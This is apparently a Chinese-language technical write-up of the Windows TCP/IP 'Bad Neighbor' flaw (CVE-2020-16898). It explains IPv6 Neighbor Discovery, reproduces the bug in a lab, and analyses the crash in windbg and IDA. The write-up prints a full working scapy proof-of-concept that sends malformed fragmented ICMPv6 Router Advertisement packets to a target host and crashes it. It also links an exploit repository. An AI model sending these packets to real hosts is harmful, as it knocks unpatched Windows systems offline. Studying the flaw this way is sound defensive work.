一、该漏洞和router advertisement相关,先来学习一下相关协议;
IPV4时代,如果想探测其他主机是否存活,要么用ARP(一般是局域内网),要么用ICMP(一般是公网)。但是在IPV6时代改用了Neighbor Discovery Protocol(简称NDP),该协议定义了使用ICMPv6报文实现地址解析,跟踪邻居状态,重复地址检测,路由器发现以及重定向等功能。
1、先介绍个简单的地址解析:IPV4时代,当需要和其他主机通信时,需要知道对方的MAC地址,否则交换机是没法转发帧的,这时就需要ARP协议,让目标主机告知其MAC地址;IPV6时代,NDP实现了该功能;NDP在将IP地址解析为MAC地址时用了两种报文:邻居请求报文NS(Neighbor Solicitation)和邻居通告报文NA(Neighbor Advertisement),作用分别类似于ARP请求和ARP应答,整个过程说明如下:
用wireshark抓包如下:
- NS包:Type:Neighbor Solicitation(135),源MAC是00:e0:fc:7a:28:89,源IP是2000::1
- NA包:Type:Neighbor Advertisment(136),目标MAC是00:e0:fc:dc:5e:81
其中有3个flags字段,含义如下:
- R:路由器标记。当置1时,R位指出发送者是路由器。R位由Neighbor Unreachability Detection使用,用于检测改变为主机的路由器。
- S:请求标记。当置1时,S位指出通告被发送以响应来自目的地地址的Neighbor Solicitation。S位用作Neighbor Unreachability Detection的可达性确认。在多播通告和非请求单播通告中置0。
- O:替代标记。替代标志,1表示通告中的信息替代缓存,如更新链路层地址时,对于任播的回应则不应置位。在针对任播地址的请求通告中,以及在请求的前缀通告中它不能被置1。在其他请求通告中和在非请求通告中它应当被置1;
2、NDP协议除了地址解析,还能用于路由器发现。windows对通过该协议接受到的数据包(Router Advertisement包)处理不当,导致了远程代码执行漏洞,也就是本文的主题漏洞:CVE-2020-16898;
路由器发现:用来发现与本地链路相连的设备,并获取与地址自动配置相关的前缀和其他配置参数;说直白一点,就是路由器通过发送广播报文或发送给指定的路由器邻居以主动把自己介绍给网段内的其他路由器,用以更新路由表,便于后续更高效、快速地转发数据报;和地址解析类似,路由发现也有Router Advertisement和Router Solicitation两种报文。
-
路由器请求RS(Router Solicitation)报文:很多情况下主机接入网络后希望尽快获取网络前缀进行通信,此时主机可以立刻发送RS报文,网络上的设备将回应RA报文。RS报文的Tpye字段值为133,如下:
-
路由器通告RA(Router Advertisement)报文:每台设备为了让二层网络上的主机和设备知道自己的存在,定时都会组播发送RA报文,RA报文中会带有网络前缀信息,及其他一些标志位信息。RA报文的Type字段值为134。
路由器发现功能如下图所示:
3、整个NDP概括如下:
二、上个月爆出的CVE-2020-16898 "bad neighbor" 漏洞,就和NDP相关。远程攻击者通过构造特制的ICMPv6 Router Advertisement(路由通告)数据包 ,并将其发送到远程Windows主机上,可造成远程主机蓝屏;
1、先来复现一波漏洞,有个直观的感受。网上有各种配置教程,主要是打开靶机(一般用虚拟机)的ipv6,然后配置exp.py中的靶机和攻击机ipv6地址,然后给靶机发送特殊的数据,造成靶机内存溢出,进而蓝屏;整个exp.py代码不多,如下:
from scapy.all import * from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6 v6_dst = "fd15:4ba5:5a2b:1008:ac63:9284:85b2:d191" v6_src = "fe80::89f4:90a3:4bab:16bc%26" p_test_half = ‘A‘.encode()*8 + b"\x18\x30" + b"\xFF\x18" p_test = p_test_half + ‘A‘.encode()*4 c = ICMPv6NDOptEFA() e = ICMPv6NDOptRDNSS() e.len = 21 e.dns = [ "AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA", "AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ] aaa = ICMPv6NDOptRDNSS() aaa.len = 8 pkt = ICMPv6ND_RA() / aaa / Raw(load=‘A‘.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ IPv6ExtHdrFragment()/pkt l=fragment6(p_test_frag, 200) for p in l: send(p)
循环发送了13次:
wireshark抓包:可以看到发送了好多ICMPV6 Option的包,并且Recursive DNS server的值已经被改成我们自己设定好的A了;
由于靶机挂在了windbg,捕获了异常,靶机并未蓝屏,但已经卡死,无法做任何操作;从堆栈的数据看,大部分都被我们构造的a填满,从TCPIP模块的Ipv6pHandleRouterAdvertisement+0xe01偏移开始出现异常,进而触发了securityCheck,下面就从这里开始按图索骥,顺藤摸瓜!
这里先保留一些有用的信息:
Arguments: Arg1: 0000000000000002, Stack cookie instrumentation code detected a stack-based buffer overrun. Arg2: fffff802abe3bfb0, Address of the trap frame for the exception that caused the bugcheck Arg3: fffff802abe3bf08, Address of the exception record for the exception that caused the bugcheck Arg4: 0000000000000000, Reserved
TRAP_FRAME: fffff802abe3bfb0 -- (.trap 0xfffff802abe3bfb0) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=0000000000000005 rbx=0000000000000000 rcx=0000000000000002 rdx=00000000000001ff rsi=0000000000000000 rdi=0000000000000000 rip=fffff8097dd97b45 rsp=fffff802abe3c148 rbp=fffff802abe3c250 r8=fffff802abe3c268 r9=0000000000000110 r10=0000000000001001 r11=0000000000000000 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl nz na pe nc tcpip!_report_gsfailure+0x5: fffff809`7dd97b45 cd29 int 29h Resetting default scope EXCEPTION_RECORD: fffff802abe3bf08 -- (.exr 0xfffff802abe3bf08) ExceptionAddress: fffff8097dd97b45 (tcpip!_report_gsfailure+0x0000000000000005) ExceptionCode: c0000409 (Security check failure or stack buffer overrun) ExceptionFlags: 00000001 NumberParameters: 1 Parameter[0]: 0000000000000002 Subcode: 0x2 FAST_FAIL_STACK_COOKIE_CHECK_FAILURE
2、通过IDA打开tcpip.sys,找到异常后最后一个函数Ipv6pHandleRouterAdvertisement,并且根据偏移0xe01定位到出问题的代码(也就是0x1C0029221这里):确实是在security_check这里。结合上面爆出的gsfailure,应该是调用_security_check_cookie时导致了gsfailure;
Ipv6pHandleRouterAdvertisement里面调用了很多其他函数,究竟是哪个函数导致了gsfailure了?我们人为构造的数据报在内核解析后,其中有个字段叫type:recursive dns server(25)【上面的wireshark抓包有】,这个字段的值是25,16进制就是0x19,刚好在Ipv6pHandleRouterAdvertisement的while(1)循环中有case 0x19这个选项,里面调用了一个叫做Ipv6pUpdateRDNSS的函数,从名字看是更新RDNS的,刚好ICMPV6 option发送的就是recursive dns server的地址,所以大胆猜测:在case 0x19这个分支,接受type是recursive dns server的option包,然后解析、更新RDNS的值,接下来我们进一步分析这个函数;
进入Ipv6pUpdateRDNSS函数后,有一行关键代码标红如下:这一行计算IPV6地址数量。这里的V9来自我们发送的IPV6 Option包的length字段。从上面wireshar抓包的情况看,该字段是8,那么得到的IPV6地址数量就是(8-1)/2=3;
因此会按照3*0x18(一个ipv6地址加上Type/Length/ Reserved/Lifetime)= 0x48的偏移进行解析下一个Option,这0x48字节刚好是第一个option的长度。也就是说,Ipv6pHandleRouterAdvertisement的函数会直接从下面第三个红框处解析下一个option:很明显,这里的RDNS是错的,并且还很多,直接还长达168byte。并且还有11个同样的option,足以覆盖栈的stack cookie(看上面windbg的kv栈回溯);
总结: 这类漏洞的原理很简单:接受外部的字符串后未作长度或内容检查,导致分配的内存不够存储接受的数据,进而让接受的数据超过分配的缓存长度,覆盖了内核其他代码和数据,导致蓝屏;更狠一点的可以导致RCE
参考:
1、https://www.4hou.com/posts/jLlY CVE-2020-16898 "Bad Neighbor " Windows TCP/IP远程代码执行漏洞分析
2、https://cert.360.cn/report/detail?id=771d8ddc2d703071d5761b6a2b139793 CVE-2020-16898: Windows TCP/IP远程执行代码漏洞分析
3、https://cshihong.github.io/2018/01/29/IPv6%E9%82%BB%E5%B1%85%E5%8F%91%E7%8E%B0%E5%8D%8F%E8%AE%AE/ IPv6邻居发现协议
4、https://tools.ietf.org/html/rfc8106 IPv6 Router Advertisement Options for DNS Configuration
5、https://github.com/komomon/CVE-2020-16898-EXP-POC 漏洞利用POC
6、https://www.dazhuanlan.com/2019/11/18/5dd20c8870856/ Stack Cookie运行原理